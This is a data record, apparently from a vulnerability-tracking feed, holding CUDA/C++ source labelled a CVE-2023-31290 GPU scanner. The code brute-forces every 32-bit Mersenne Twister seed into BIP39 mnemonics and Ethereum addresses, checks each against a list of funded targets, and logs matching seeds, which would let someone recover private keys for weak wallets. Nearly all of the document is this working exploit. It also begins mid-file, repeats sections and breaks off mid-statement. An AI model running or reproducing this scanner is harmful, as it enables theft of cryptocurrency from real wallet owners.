FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic std::atomic g_done{0};\nstatic std::atomic g_hits{0};\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd < 0) return -1;\n  struct stat st;\n  if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&d_out, 64));\n  k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i < n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&hits_mu);\n        g_hits.fetch_add(1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i < n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      g_hits.fetch_add(1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  g_done.fetch_add((uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL << 32;\n  int threads = 256;\n  if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev < 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i < argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&ndev));\n  if (ndev < 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 << 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev > 0 ? ndev : 1);\n  if (g_inner_threads < 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s < my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n > my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = g_done.load();\n        double r = done / (sec > 0.001 ? sec : 0.001);\n        double eta = r > 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, g_hits.load(), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", g_hits.load());\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T00:00:26.599970Z"}, {"uuid": "008befb7-2551-49bf-9678-4d9d9607fd07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/39bdf8e7c7e62c1fca8b12fc511d87bd", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n         ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n  p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i < 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i < 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e & f) ^ ((~e) & g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n >= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n >= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i < 128; i++) {\n    uint8_t k = (i < klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i < 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j < 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i < 624; i++) {\n    uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n    if (y & 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i < 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y >> 11;\n    y ^= (y << 7) & 0x9d2c5680u;\n    y ^= (y << 15) & 0xefc60000u;\n    y ^= y >> 18;\n    ent[i] = (uint8_t)(y & 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i < 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i < 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i < 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e & f) ^ ((~e) & g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w < 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j < 11; j++) {\n      int p = bit + j;\n      idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i >= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index & 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &clen, &pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &ulen, &pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic std::atomic g_done{0};\nstatic std::atomic g_hits{0};\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd < 0) return -1;\n  struct stat st;\n  if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&d_out, 64));\n  k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i < n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&hits_mu);\n        fprintf(hits_fp, 